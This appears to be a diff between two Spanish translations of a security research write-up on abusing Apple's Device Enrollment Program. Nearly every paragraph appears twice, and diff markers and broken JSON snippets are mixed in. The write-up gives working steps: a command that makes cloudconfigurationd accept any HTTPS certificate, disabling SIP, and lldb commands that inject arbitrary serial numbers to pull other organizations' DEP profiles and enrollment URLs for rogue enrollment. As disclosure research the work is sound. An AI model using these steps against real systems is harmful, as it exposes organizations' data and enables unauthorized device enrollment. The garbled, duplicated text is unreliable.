Cuando se utiliza `mdmclient` o `profiles` para iniciar una comprobación DEP, se utilizan las funciones `CPFetchActivationRecord` y `CPGetActivationRecord` para recuperar el _Registro de activación_. `CPFetchActivationRecord` delega el control a `cloudconfigurationd` a través de [XPC](https://developer.apple.com/documentation/xpc), que luego recupera el _Registro de activación_ de la API de DEP.
|
||||
Al usar `mdmclient` o `profiles` para iniciar una verificación DEP, las funciones `CPFetchActivationRecord` y `CPGetActivationRecord` se utilizan para recuperar el _Registro de Activación_. `CPFetchActivationRecord` delega el control a `cloudconfigurationd` a través de [XPC](https://developer.apple.com/documentation/xpc), que luego recupera el _Registro de Activación_ de la API de DEP.
|
||||
|
||||
`CPGetActivationRecord` recupera el _Registro de activación_ de la caché, si está disponible. Estas funciones están definidas en el marco de perfiles de configuración privados, ubicado en `/System/Library/PrivateFrameworks/Configuration Profiles.framework`.
|
||||
`CPGetActivationRecord` recupera el _Registro de Activación_ de la caché, si está disponible. Estas funciones están definidas en el marco privado de Perfiles de Configuración, ubicado en `/System/Library/PrivateFrameworks/Configuration Profiles.framework`.
|
||||
|
||||
### Ingeniería inversa del protocolo Tesla y el esquema Absinthe
|
||||
### Ingeniería Inversa del Protocolo Tesla y el Esquema Absinthe
|
||||
|
||||
Durante el proceso de comprobación DEP, `cloudconfigurationd` solicita un _Registro de activación_ de _iprofiles.apple.com/macProfile_. La carga útil de la solicitud es un diccionario JSON que contiene dos pares de clave-valor:
|
||||
Durante el proceso de verificación DEP, `cloudconfigurationd` solicita un _Registro de Activación_ de _iprofiles.apple.com/macProfile_. La carga útil de la solicitud es un diccionario JSON que contiene dos pares clave-valor:
|
||||
```
|
||||
{
|
||||
"sn": "",
|
||||
action": "RequestProfileConfiguration
|
||||
}
|
||||
```
|
||||
El payload está firmado y encriptado usando un esquema referido internamente como "Absinthe". El payload encriptado es luego codificado en Base 64 y utilizado como cuerpo de solicitud en un HTTP POST a _iprofiles.apple.com/macProfile_.
|
||||
El payload se firma y cifra utilizando un esquema internamente denominado "Absinthe". El payload cifrado se codifica entonces en Base 64 y se utiliza como cuerpo de la solicitud en un HTTP POST hacia _iprofiles.apple.com/macProfile_.
|
||||
|
||||
En `cloudconfigurationd`, la obtención del _Activation Record_ es manejada por la clase `MCTeslaConfigurationFetcher`. El flujo general desde `[MCTeslaConfigurationFetcher enterState:]` es el siguiente:
|
||||
```
|
||||
|
@ -55,18 +57,16 @@ rsi = @selector(startConfigurationFetch);
|
|||
rsi = @selector(sendConfigurationInfoToRemote);
|
||||
rsi = @selector(sendFailureNoticeToRemote);
|
||||
```
|
||||
Dado que el esquema **Absinthe** es lo que parece ser utilizado para autenticar solicitudes al servicio DEP, **ingeniería inversa** de este esquema nos permitiría hacer nuestras propias solicitudes autenticadas a la API DEP. Esto resultó ser **consumidor de tiempo**, principalmente debido al número de pasos involucrados en la autenticación de solicitudes. En lugar de revertir completamente cómo funciona este esquema, optamos por explorar otros métodos para insertar números de serie arbitrarios como parte de la solicitud de _Registro de Activación_.
|
||||
### Interceptando Solicitudes DEP
|
||||
|
||||
### MITMing DEP Requests
|
||||
|
||||
Exploramos la viabilidad de interceptar solicitudes de red a _iprofiles.apple.com_ con [Charles Proxy](https://www.charlesproxy.com). Nuestro objetivo era inspeccionar la carga útil enviada a _iprofiles.apple.com/macProfile_, luego insertar un número de serie arbitrario y reproducir la solicitud. Como se mencionó anteriormente, la carga útil enviada a ese punto final por `cloudconfigurationd` está en formato [JSON](https://www.json.org) y contiene dos pares de clave-valor.
|
||||
Exploramos la viabilidad de hacer proxy en las solicitudes de red a _iprofiles.apple.com_ con [Charles Proxy](https://www.charlesproxy.com). Nuestro objetivo era inspeccionar la carga útil enviada a _iprofiles.apple.com/macProfile_, luego insertar un número de serie arbitrario y reenviar la solicitud. Como se mencionó anteriormente, la carga útil enviada a ese punto final por `cloudconfigurationd` está en formato [JSON](https://www.json.org) y contiene dos pares clave-valor.
|
||||
```
|
||||
{
|
||||
"action": "RequestProfileConfiguration",
|
||||
sn": "
|
||||
}
|
||||
```
|
||||
Dado que la API en _iprofiles.apple.com_ utiliza [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), necesitamos habilitar SSL Proxying en Charles para ese host para ver el contenido de texto sin formato de las solicitudes SSL.
|
||||
Dado que la API en _iprofiles.apple.com_ utiliza [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), necesitábamos habilitar el Proxy SSL en Charles para ese host para ver el contenido en texto plano de las solicitudes SSL.
|
||||
|
||||
Sin embargo, el método `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` verifica la validez del certificado del servidor y abortará si no se puede verificar la confianza del servidor.
|
||||
```
|
||||
|
@ -77,18 +77,18 @@ verified. Please contact your system administrator., NSLocalizedDescription=The
|
|||
server trust could not be verified. Please contact your system administrator.,
|
||||
MCErrorType=MCFatalError}
|
||||
```
|
||||
El mensaje de error mostrado anteriormente se encuentra en un archivo binario _Errors.strings_ con la clave `CLOUD_CONFIG_SERVER_TRUST_ERROR`, que se encuentra en `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, junto con otros mensajes de error relacionados.
|
||||
El mensaje de error mostrado arriba se encuentra en un archivo binario _Errors.strings_ con la clave `CLOUD_CONFIG_SERVER_TRUST_ERROR`, el cual está ubicado en `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, junto con otros mensajes de error relacionados.
|
||||
```
|
||||
$ cd /System/Library/CoreServices
|
||||
$ rg "The Device Enrollment server trust could not be verified"
|
||||
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
|
||||
<snip>
|
||||
```
|
||||
El archivo _Errors.strings_ se puede imprimir en un formato legible para humanos con el comando `plutil` integrado. [Aquí](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output) se muestra cómo hacerlo.
|
||||
El archivo _Errors.strings_ se puede [imprimir en un formato legible por humanos](https://duo.com/labs/research/mdm-me-maybe#error_strings_output) con el comando incorporado `plutil`.
|
||||
```
|
||||
$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
|
||||
```
|
||||
Después de investigar más a fondo la clase `MCTeslaConfigurationFetcher`, sin embargo, quedó claro que este comportamiento de confianza del servidor puede ser eludido habilitando la opción de configuración `MCCloudConfigAcceptAnyHTTPSCertificate` en el dominio de preferencias `com.apple.ManagedClient.cloudconfigurationd`.
|
||||
Después de investigar más a fondo la clase `MCTeslaConfigurationFetcher`, se hizo evidente que este comportamiento de confianza del servidor puede ser eludido habilitando la opción de configuración `MCCloudConfigAcceptAnyHTTPSCertificate` en el dominio de preferencia `com.apple.ManagedClient.cloudconfigurationd`.
|
||||
```
|
||||
loc_100006406:
|
||||
rax = [NSUserDefaults standardUserDefaults];
|
||||
|
@ -102,32 +102,32 @@ La opción de configuración `MCCloudConfigAcceptAnyHTTPSCertificate` se puede e
|
|||
```
|
||||
sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes
|
||||
```
|
||||
Con SSL Proxying habilitado para _iprofiles.apple.com_ y `cloudconfigurationd` configurado para aceptar cualquier certificado HTTPS, intentamos realizar un ataque man-in-the-middle y reproducir las solicitudes en Charles Proxy.
|
||||
Con el Proxy SSL habilitado para _iprofiles.apple.com_ y `cloudconfigurationd` configurado para aceptar cualquier certificado HTTPS, intentamos hacer man-in-the-middle y repetir las solicitudes en Charles Proxy.
|
||||
|
||||
Sin embargo, dado que la carga incluida en el cuerpo de la solicitud HTTP POST a _iprofiles.apple.com/macProfile_ está firmada y cifrada con Absinthe (`NACSign`), **no es posible modificar el texto plano de la carga JSON para incluir un número de serie arbitrario sin tener también la clave para descifrarla**. Aunque sería posible obtener la clave porque permanece en la memoria, en su lugar pasamos a explorar `cloudconfigurationd` con el depurador [LLDB](https://lldb.llvm.org).
|
||||
Sin embargo, dado que la carga útil incluida en el cuerpo de la solicitud HTTP POST a _iprofiles.apple.com/macProfile_ está firmada y cifrada con Absinthe, (`NACSign`), **no es posible modificar la carga útil JSON en texto plano para incluir un número de serie arbitrario sin también tener la clave para descifrarlo**. Aunque sería posible obtener la clave porque permanece en la memoria, en lugar de eso, procedimos a explorar `cloudconfigurationd` con el depurador [LLDB](https://lldb.llvm.org).
|
||||
|
||||
### Instrumentación de Binarios del Sistema que Interactúan con DEP
|
||||
### Instrumentando Binarios del Sistema que Interactúan con DEP
|
||||
|
||||
El último método que exploramos para automatizar el proceso de envío de números de serie arbitrarios a _iprofiles.apple.com/macProfile_ fue instrumentar binarios nativos que interactúan directa o indirectamente con la API DEP. Esto implicó una exploración inicial de `mdmclient`, `profiles` y `cloudconfigurationd` en [Hopper v4](https://www.hopperapp.com) y [Ida Pro](https://www.hex-rays.com/products/ida/) y algunas sesiones de depuración largas con `lldb`.
|
||||
El método final que exploramos para automatizar el proceso de enviar números de serie arbitrarios a _iprofiles.apple.com/macProfile_ fue instrumentar binarios nativos que interactúan directa o indirectamente con la API de DEP. Esto implicó una exploración inicial de `mdmclient`, `profiles` y `cloudconfigurationd` en [Hopper v4](https://www.hopperapp.com) e [Ida Pro](https://www.hex-rays.com/products/ida/), y algunas largas sesiones de depuración con `lldb`.
|
||||
|
||||
Uno de los beneficios de este método sobre la modificación de los binarios y la resignación con nuestra propia clave es que evita algunas de las restricciones de permisos incorporadas en macOS que de otra manera podrían disuadirnos.
|
||||
Una de las ventajas de este método sobre la modificación de los binarios y su re-firma con nuestra propia clave es que evita algunas de las restricciones de derechos incorporadas en macOS que de otro modo podrían disuadirnos.
|
||||
|
||||
**Protección de la Integridad del Sistema**
|
||||
|
||||
Para instrumentar binarios del sistema, (como `cloudconfigurationd`) en macOS, se debe desactivar [Protección de la Integridad del Sistema](https://support.apple.com/en-us/HT204899) (SIP). SIP es una tecnología de seguridad que protege los archivos, carpetas y procesos de nivel del sistema contra manipulaciones y está habilitada de forma predeterminada en OS X 10.11 "El Capitan" y versiones posteriores. [SIP se puede desactivar](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System\_Integrity\_Protection\_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) arrancando en el modo de recuperación y ejecutando el siguiente comando en la aplicación Terminal, luego reiniciando:
|
||||
Para instrumentar binarios del sistema, (como `cloudconfigurationd`) en macOS, se debe desactivar la [Protección de la Integridad del Sistema](https://support.apple.com/es-es/HT204899) (SIP). SIP es una tecnología de seguridad que protege archivos, carpetas y procesos a nivel de sistema contra manipulaciones y está habilitada por defecto en OS X 10.11 “El Capitan” y posteriores. [SIP se puede desactivar](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) iniciando en Modo de Recuperación y ejecutando el siguiente comando en la aplicación Terminal, luego reiniciando:
|
||||
```
|
||||
csrutil enable --without debug
|
||||
```
|
||||
Vale la pena señalar, sin embargo, que SIP es una característica de seguridad útil y no debe desactivarse excepto para fines de investigación y pruebas en máquinas no productivas. También es posible (y recomendable) hacer esto en Máquinas Virtuales no críticas en lugar de en el sistema operativo host.
|
||||
Es importante señalar, sin embargo, que SIP es una característica de seguridad útil y no debe desactivarse excepto para fines de investigación y pruebas en máquinas que no sean de producción. También es posible (y recomendable) hacer esto en Máquinas Virtuales no críticas en lugar de en el sistema operativo anfitrión.
|
||||
|
||||
**Instrumentación binaria con LLDB**
|
||||
**Instrumentación Binaria con LLDB**
|
||||
|
||||
Con SIP desactivado, pudimos avanzar con la instrumentación de las binarias del sistema que interactúan con la API DEP, es decir, la binaria `cloudconfigurationd`. Debido a que `cloudconfigurationd` requiere privilegios elevados para ejecutarse, necesitamos iniciar `lldb` con `sudo`.
|
||||
Con SIP desactivado, pudimos avanzar con la instrumentación de los binarios del sistema que interactúan con la API de DEP, específicamente, el binario `cloudconfigurationd`. Debido a que `cloudconfigurationd` requiere privilegios elevados para ejecutarse, necesitamos iniciar `lldb` con `sudo`.
|
||||
```
|
||||
$ sudo lldb
|
||||
(lldb) process attach --waitfor --name cloudconfigurationd
|
||||
```
|
||||
Mientras `lldb` está esperando, podemos adjuntarlo a `cloudconfigurationd` ejecutando `sudo /usr/libexec/mdmclient dep nag` en una ventana de Terminal separada. Una vez adjuntado, se mostrará una salida similar a la siguiente y se pueden escribir comandos de LLDB en el indicador.
|
||||
Mientras `lldb` está esperando, podemos adjuntarnos a `cloudconfigurationd` ejecutando `sudo /usr/libexec/mdmclient dep nag` en una ventana de Terminal separada. Una vez adjunto, se mostrará una salida similar a la siguiente y se pueden escribir comandos LLDB en el prompt.
|
||||
```
|
||||
Process 861 stopped
|
||||
* thread #1, stop reason = signal SIGSTOP
|
||||
|
@ -138,11 +138,11 @@ Executable module set to "/usr/libexec/cloudconfigurationd".
|
|||
Architecture set to: x86_64h-apple-macosx.
|
||||
(lldb)
|
||||
```
|
||||
**Estableciendo el número de serie del dispositivo**
|
||||
**Configuración del Número de Serie del Dispositivo**
|
||||
|
||||
Una de las primeras cosas que buscamos al revertir `mdmclient` y `cloudconfigurationd` fue el código responsable de recuperar el número de serie del sistema, ya que sabíamos que el número de serie era en última instancia responsable de autenticar el dispositivo. Nuestro objetivo era modificar el número de serie en la memoria después de que se recupera del [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), y que se use cuando `cloudconfigurationd` construye la carga útil `macProfile`.
|
||||
Una de las primeras cosas que buscamos al analizar `mdmclient` y `cloudconfigurationd` fue el código responsable de recuperar el número de serie del sistema, ya que sabíamos que el número de serie era en última instancia responsable de autenticar el dispositivo. Nuestro objetivo era modificar el número de serie en memoria después de que se recuperara del [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), y que ese fuera utilizado cuando `cloudconfigurationd` construye el payload `macProfile`.
|
||||
|
||||
Aunque `cloudconfigurationd` es en última instancia responsable de comunicarse con la API DEP, también investigamos si el número de serie del sistema se recupera o se utiliza directamente dentro de `mdmclient`. El número de serie recuperado como se muestra a continuación no es el que se envía a la API DEP, pero reveló un número de serie codificado en duro que se utiliza si se habilita una opción de configuración específica.
|
||||
Aunque `cloudconfigurationd` es en última instancia responsable de comunicarse con la API de DEP, también investigamos si el número de serie del sistema se recupera o se utiliza directamente dentro de `mdmclient`. El número de serie recuperado como se muestra a continuación no es lo que se envía a la API de DEP, pero reveló un número de serie codificado que se utiliza si se habilita una opción de configuración específica.
|
||||
```
|
||||
int sub_10002000f() {
|
||||
if (sub_100042b6f() != 0x0) {
|
||||
|
@ -157,7 +157,7 @@ rax = r14;
|
|||
return rax;
|
||||
}
|
||||
```
|
||||
El número de serie del sistema se obtiene de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), a menos que el valor de retorno de `sub_10002000f` no sea cero, en cuyo caso se establece en la cadena estática "2222XXJREUF". Al inspeccionar esa función, parece verificar si está habilitado el "modo de prueba de estrés del servidor".
|
||||
El número de serie del sistema se recupera del [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), a menos que el valor devuelto de `sub_10002000f` sea distinto de cero, en cuyo caso se establece en la cadena estática "2222XXJREUF". Al inspeccionar esa función, parece verificar si el "modo de prueba de estrés del servidor" está habilitado.
|
||||
```
|
||||
void sub_1000321ca(void * _block) {
|
||||
if (sub_10002406f() != 0x0) {
|
||||
|
@ -167,7 +167,7 @@ sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0
|
|||
return;
|
||||
}
|
||||
```
|
||||
Documentamos la existencia del "modo de prueba de estrés del servidor", pero no lo exploramos más a fondo, ya que nuestro objetivo era modificar el número de serie presentado a la API DEP. En su lugar, probamos si modificar el número de serie apuntado por el registro `r14` sería suficiente para recuperar un "Registro de activación" que no estaba destinado a la máquina en la que estábamos probando.
|
||||
Documentamos la existencia del "modo de prueba de estrés del servidor", pero no lo exploramos más a fondo, ya que nuestro objetivo era modificar el número de serie presentado a la API DEP. En su lugar, probamos si modificar el número de serie al que apunta el registro `r14` sería suficiente para recuperar un _Registro de Activación_ que no estaba destinado para la máquina en la que estábamos probando.
|
||||
|
||||
A continuación, examinamos cómo se recupera el número de serie del sistema dentro de `cloudconfigurationd`.
|
||||
```
|
||||
|
@ -187,9 +187,9 @@ rax = r14;
|
|||
return rax;
|
||||
}
|
||||
```
|
||||
Como se puede ver arriba, el número de serie se recupera del [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) en `cloudconfigurationd` también.
|
||||
Como se puede ver arriba, el número de serie se obtiene del [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) en `cloudconfigurationd` también.
|
||||
|
||||
Usando `lldb`, pudimos modificar el número de serie recuperado del [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) estableciendo un punto de interrupción para `IOServiceGetMatchingService` y creando una nueva variable de cadena que contenga un número de serie arbitrario y reescribiendo el registro `r14` para que apunte a la dirección de memoria de la variable que creamos.
|
||||
Usando `lldb`, pudimos modificar el número de serie obtenido del [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) estableciendo un punto de interrupción para `IOServiceGetMatchingService` y creando una nueva variable de cadena que contiene un número de serie arbitrario y reescribiendo el registro `r14` para apuntar a la dirección de memoria de la variable que creamos.
|
||||
```
|
||||
(lldb) breakpoint set -n IOServiceGetMatchingService
|
||||
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
|
||||
|
@ -219,27 +219,25 @@ C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry`
|
|||
# Confirm that `r14` contains the new serial number.
|
||||
C02XXYYZZNNMM
|
||||
```
|
||||
Aunque logramos modificar el número de serie obtenido de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), la carga útil `macProfile` todavía contenía el número de serie del sistema, no el que escribimos en el registro `r14`.
|
||||
|
||||
**Explotación: Modificación del diccionario de solicitud de perfil antes de la serialización JSON**
|
||||
**Explotación: Modificación del Diccionario de Solicitud de Perfil Antes de la Serialización JSON**
|
||||
|
||||
A continuación, intentamos establecer el número de serie que se envía en la carga útil `macProfile` de una manera diferente. Esta vez, en lugar de modificar el número de serie del sistema obtenido a través de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), intentamos encontrar el punto más cercano en el código donde el número de serie todavía está en texto plano antes de ser firmado con Absinthe (`NACSign`). El mejor punto para mirar parecía ser `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, que realiza aproximadamente los siguientes pasos:
|
||||
|
||||
* Crea un nuevo objeto `NSMutableData`
|
||||
* Llama a `[MCTeslaConfigurationFetcher setConfigurationData:]`, pasándole el nuevo objeto `NSMutableData`
|
||||
* Llama a `[MCTeslaConfigurationFetcher profileRequestDictionary]`, que devuelve un objeto `NSDictionary` que contiene dos pares clave-valor:
|
||||
* `sn`: El número de serie del sistema
|
||||
* `action`: La acción remota a realizar (con `sn` como argumento)
|
||||
* `sn`: El número de serie del sistema
|
||||
* `action`: La acción remota a realizar (con `sn` como su argumento)
|
||||
* Llama a `[NSJSONSerialization dataWithJSONObject:]`, pasándole el `NSDictionary` de `profileRequestDictionary`
|
||||
* Firma la carga útil JSON usando Absinthe (`NACSign`)
|
||||
* Codifica en Base64 la carga útil JSON firmada
|
||||
* Establece el método HTTP en `POST`
|
||||
* Establece el cuerpo HTTP en la carga útil JSON firmada y codificada en Base64
|
||||
* Establece el encabezado HTTP `X-Profile-Protocol-Version` en `1`
|
||||
* Establece el encabezado HTTP `User-Agent` en `ConfigClient-1.0`
|
||||
* Establece el método HTTP a `POST`
|
||||
* Establece el cuerpo HTTP a la carga útil JSON firmada y codificada en Base64
|
||||
* Establece la cabecera HTTP `X-Profile-Protocol-Version` a `1`
|
||||
* Establece la cabecera HTTP `User-Agent` a `ConfigClient-1.0`
|
||||
* Utiliza el método `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` para realizar la solicitud HTTP
|
||||
|
||||
Luego modificamos el objeto `NSDictionary` devuelto por `profileRequestDictionary` antes de ser convertido en JSON. Para hacer esto, se estableció un punto de interrupción en `dataWithJSONObject` para acercarnos lo más posible a los datos aún no convertidos. El punto de interrupción tuvo éxito y cuando imprimimos el contenido del registro que conocíamos a través del desensamblaje (`rdx`), sabíamos que obtuvimos los resultados que esperábamos ver.
|
||||
Luego modificamos el objeto `NSDictionary` devuelto de `profileRequestDictionary` antes de ser convertido en JSON. Para hacer esto, se estableció un punto de interrupción en `dataWithJSONObject` para acercarnos lo más posible a los datos aún no convertidos. El punto de interrupción fue exitoso, y cuando imprimimos el contenido del registro que conocíamos a través del desensamblaje (`rdx`), obtuvimos los resultados que esperábamos ver.
|
||||
```
|
||||
po $rdx
|
||||
{
|
||||
|
@ -247,7 +245,7 @@ action = RequestProfileConfiguration;
|
|||
sn = C02XXYYZZNNMM;
|
||||
}
|
||||
```
|
||||
El anterior es una representación con formato legible del objeto `NSDictionary` devuelto por `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Nuestro siguiente desafío fue modificar el `NSDictionary` en memoria que contiene el número de serie.
|
||||
La representación anterior es una versión más legible del objeto `NSDictionary` devuelto por `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Nuestro siguiente desafío fue modificar en memoria el `NSDictionary` que contiene el número de serie.
|
||||
```
|
||||
(lldb) breakpoint set -r "dataWithJSONObject"
|
||||
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
|
||||
|
@ -269,23 +267,23 @@ action = RequestProfileConfiguration;
|
|||
sn = <new_serial_number>
|
||||
}
|
||||
```
|
||||
La lista anterior realiza lo siguiente:
|
||||
El listado anterior hace lo siguiente:
|
||||
|
||||
* Crea un punto de interrupción de expresión regular para el selector `dataWithJSONObject`
|
||||
* Espera a que el proceso `cloudconfigurationd` se inicie y luego se adjunta a él
|
||||
* Continúa la ejecución del programa (porque el primer punto de interrupción que alcanzamos para `dataWithJSONObject` no es el que se llama en el `profileRequestDictionary`)
|
||||
* Crea e imprime (en formato hexadecimal debido a `/x`) el resultado de crear nuestro `NSDictionary` arbitrario
|
||||
* Como ya conocemos los nombres de las claves requeridas, simplemente podemos establecer el número de serie en uno de nuestra elección para `sn` y dejar la acción tal cual
|
||||
* La impresión del resultado de crear este nuevo `NSDictionary` nos indica que tenemos dos pares de clave-valor en una ubicación de memoria específica
|
||||
* Espera a que el proceso `cloudconfigurationd` comience, luego se adjunta a él
|
||||
* `continue` la ejecución del programa, (porque el primer punto de interrupción que alcanzamos para `dataWithJSONObject` no es el que se llama en el `profileRequestDictionary`)
|
||||
* Crea e imprime (en formato hexadecimal debido al `/x`) el resultado de crear nuestro `NSDictionary` arbitrario
|
||||
* Dado que ya conocemos los nombres de las claves requeridas, simplemente podemos establecer el número de serie a uno de nuestra elección para `sn` y dejar la acción como está
|
||||
* La impresión del resultado de crear este nuevo `NSDictionary` nos dice que tenemos dos pares clave-valor en una ubicación de memoria específica
|
||||
|
||||
Nuestro último paso fue repetir el mismo paso de escribir en `rdx` la ubicación de memoria de nuestro objeto `NSDictionary` personalizado que contiene nuestro número de serie elegido:
|
||||
Nuestro paso final fue ahora repetir el mismo paso de escribir en `rdx` la ubicación de memoria de nuestro objeto `NSDictionary` personalizado que contiene nuestro número de serie elegido:
|
||||
```
|
||||
(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable
|
||||
(lldb) continue
|
||||
```
|
||||
Esto apunta el registro `rdx` a nuestro nuevo `NSDictionary` justo antes de que se serialice a [JSON](https://www.json.org) y se envíe por `POST` a _iprofiles.apple.com/macProfile_, luego se continúa el flujo del programa.
|
||||
Este apunta el registro `rdx` a nuestro nuevo `NSDictionary` justo antes de que sea serializado a [JSON](https://www.json.org) y `POST`eado a _iprofiles.apple.com/macProfile_, luego `continúa` el flujo del programa.
|
||||
|
||||
Este método de modificar el número de serie en el diccionario de solicitud de perfil antes de ser serializado a JSON funcionó. Al usar un número de serie de Apple registrado en DEP conocido en lugar de (null), el registro de depuración para `ManagedClient` mostró el perfil completo de DEP para el dispositivo:
|
||||
Este método de modificar el número de serie en el diccionario de solicitud de perfil antes de ser serializado a JSON funcionó. Al usar un número de serie de Apple registrado en DEP conocido y válido en lugar de (null), el registro de depuración para `ManagedClient` mostró el perfil DEP completo para el dispositivo:
|
||||
```
|
||||
Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
|
||||
{
|
||||
|
@ -328,29 +326,29 @@ SupervisorHostCertificates = (
|
|||
);
|
||||
}
|
||||
```
|
||||
Con solo unos pocos comandos `lldb`, podemos insertar con éxito un número de serie arbitrario y obtener un perfil DEP que incluye varios datos específicos de la organización, incluida la URL de inscripción de MDM de la organización. Como se discutió, esta URL de inscripción podría usarse para inscribir un dispositivo malintencionado ahora que conocemos su número de serie. Los otros datos podrían usarse para ingeniería social de una inscripción malintencionada. Una vez inscrito, el dispositivo podría recibir cualquier cantidad de certificados, perfiles, aplicaciones, configuraciones de VPN, etc.
|
||||
Con solo unos pocos comandos `lldb` podemos insertar con éxito un número de serie arbitrario y obtener un perfil DEP que incluye varios datos específicos de la organización, incluyendo la URL de inscripción en MDM de la organización. Como se discutió, esta URL de inscripción podría usarse para inscribir un dispositivo no autorizado ahora que conocemos su número de serie. Los otros datos podrían usarse para ingeniería social y lograr una inscripción fraudulenta. Una vez inscrito, el dispositivo podría recibir cualquier cantidad de certificados, perfiles, aplicaciones, configuraciones de VPN y así sucesivamente.
|
||||
|
||||
### Automatización de la instrumentación de `cloudconfigurationd` con Python
|
||||
### Automatización de la Instrumentación de `cloudconfigurationd` con Python
|
||||
|
||||
Una vez que tuvimos la prueba de concepto inicial que demostraba cómo recuperar un perfil DEP válido usando solo un número de serie, nos propusimos automatizar este proceso para mostrar cómo un atacante podría abusar de esta debilidad en la autenticación.
|
||||
|
||||
Afortunadamente, la API de LLDB está disponible en Python a través de una [interfaz de puente de script](https://lldb.llvm.org/python-reference.html). En sistemas macOS con las [Herramientas de línea de comandos de Xcode](https://developer.apple.com/download/more/) instaladas, el módulo Python `lldb` se puede importar de la siguiente manera:
|
||||
Afortunadamente, la API de LLDB está disponible en Python a través de una [interfaz de puente de scripts](https://lldb.llvm.org/python-reference.html). En sistemas macOS con las [Herramientas de Línea de Comandos de Xcode](https://developer.apple.com/download/more/) instaladas, el módulo `lldb` de Python se puede importar de la siguiente manera:
|
||||
```
|
||||
import lldb
|
||||
```
|
||||
Esto hizo relativamente fácil crear un script de nuestro concepto de prueba que demuestra cómo insertar un número de serie registrado en DEP y recibir un perfil DEP válido a cambio. El PoC que desarrollamos toma una lista de números de serie separados por saltos de línea e inyecta en el proceso `cloudconfigurationd` para verificar los perfiles DEP.
|
||||
Esto facilitó la creación de un guion para nuestra prueba de concepto que demuestra cómo insertar un número de serie registrado en DEP y recibir un perfil DEP válido a cambio. La PoC que desarrollamos toma una lista de números de serie separados por saltos de línea e inyecta estos en el proceso `cloudconfigurationd` para verificar la existencia de perfiles DEP.
|
||||
|
||||
![Configuración de proxy SSL de Charles.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b)
|
||||
![Configuración de Proxy SSL de Charles.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b)
|
||||
|
||||
![Notificación de DEP.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961)
|
||||
|
||||
### Impacto
|
||||
|
||||
Existen varios escenarios en los que se podría abusar del Programa de Inscripción de Dispositivos de Apple que llevarían a exponer información sensible sobre una organización. Los dos escenarios más obvios implican obtener información sobre la organización a la que pertenece un dispositivo, que se puede recuperar del perfil DEP. El segundo es usar esta información para realizar una inscripción DEP y MDM falsa. Cada uno de estos se discute más adelante.
|
||||
Existen varios escenarios en los que se podría abusar del Programa de Inscripción de Dispositivos de Apple que llevarían a la exposición de información sensible sobre una organización. Los dos escenarios más evidentes involucran la obtención de información sobre la organización a la que pertenece un dispositivo, la cual se puede recuperar del perfil DEP. El segundo es usar esta información para realizar una inscripción DEP y MDM no autorizada. Cada uno de estos se discute más adelante.
|
||||
|
||||
#### Divulgación de información
|
||||
#### Divulgación de Información
|
||||
|
||||
Como se mencionó anteriormente, parte del proceso de inscripción en DEP implica solicitar y recibir un _Registro de Activación_ (o perfil DEP) de la API de DEP. Al proporcionar un número de serie del sistema registrado en DEP válido, podemos recuperar la siguiente información (impresa en `stdout` o escrita en el registro de `ManagedClient`, dependiendo de la versión de macOS).
|
||||
Como se mencionó anteriormente, parte del proceso de inscripción en DEP implica solicitar y recibir un _Registro de Activación_, (o perfil DEP), de la API de DEP. Al proporcionar un número de serie de sistema válido y registrado en DEP, podemos recuperar la siguiente información, (ya sea impresa en `stdout` o escrita en el registro de `ManagedClient`, dependiendo de la versión de macOS).
|
||||
```
|
||||
Activation record: {
|
||||
AllowPairing = 1;
|
||||
|
@ -381,12 +379,24 @@ SupervisorHostCertificates = (
|
|||
);
|
||||
}
|
||||
```
|
||||
